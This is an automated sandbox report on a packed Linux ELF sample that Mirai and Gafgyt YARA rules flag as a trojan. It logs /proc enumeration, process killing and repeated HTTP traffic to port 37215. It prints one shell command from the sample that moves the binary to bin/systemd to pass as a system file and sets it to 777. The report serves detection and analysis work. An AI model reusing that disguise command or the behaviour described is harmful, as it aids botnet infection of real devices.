Source: 7369.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7185.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7410.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6244.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6815.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7147.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7147.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7147.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6740.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6922.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6922.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6922.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6596.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6236.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6236.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6810.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6984.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6984.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6984.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6734.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6734.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6734.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6918.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13

Source: /tmp/log21.x86_64.elf (PID: 6224)

SIGKILL sent: pid: 6224, result: unknown

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.linELF@0/0@105/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Persistence and Installation Behavior

Sets full permissions to files and/or directories

Source: /bin/sh (PID: 6222)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/systemd

Jump to behavior

Source: /bin/sh (PID: 6220)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Jump to behavior

Source: /bin/sh (PID: 6222)

Chmod executable: /usr/bin/chmod -> chmod 777 bin/systemd

Jump to behavior

Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2033/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1582/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2275/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/6191/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/6190/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1612/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1579/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1699/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1335/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1698/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2028/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1334/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1576/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2302/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/3236/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2025/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2146/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/912/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/759/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2307/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/918/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1594/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2285/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2281/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1349/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1623/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/761/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1622/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1983/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2038/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1586/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1465/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1344/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1860/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1463/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2156/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/801/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1629/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1627/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1900/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/491/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2294/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2050/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1877/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/772/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1633/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1599/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1632/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1477/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/774/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1476/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1872/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2048/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1475/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2289/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/777/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/658/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/936/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1639/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1638/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2208/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2180/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1809/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1494/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1890/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2063/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2062/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1888/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1886/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1489/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/785/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1642/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/788/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/789/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1648/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2078/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2077/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2074/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2195/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/793/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1656/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1654/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2226/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1532/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/796/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/797/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2069/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2102/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2223/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/799/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2080/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/6042/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2242/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2084/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2083/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1668/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1664/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/1389/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/720/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2114/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/2235/fd	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	File opened: /proc/721/fd	Jump to behavior

Source: /tmp/log21.x86_64.elf (PID: 6218)

Shell command executed: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/log21.x86_64.elf bin/systemd; chmod 777 bin/systemd"

Jump to behavior

Source: /bin/sh (PID: 6219)

Rm executable: /usr/bin/rm -> rm -rf bin/systemd

Jump to behavior

Source: submitted sample

Stderr: sh: 1: cannot create bin/systemd: Directory nonexistentchmod: cannot access 'bin/systemd'$'\004': No such file or directory: exit code = 0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 60688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 60688
Source: unknown	Network traffic detected: HTTP traffic on port 38886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 42096
Source: unknown	Network traffic detected: HTTP traffic on port 34992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55090 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
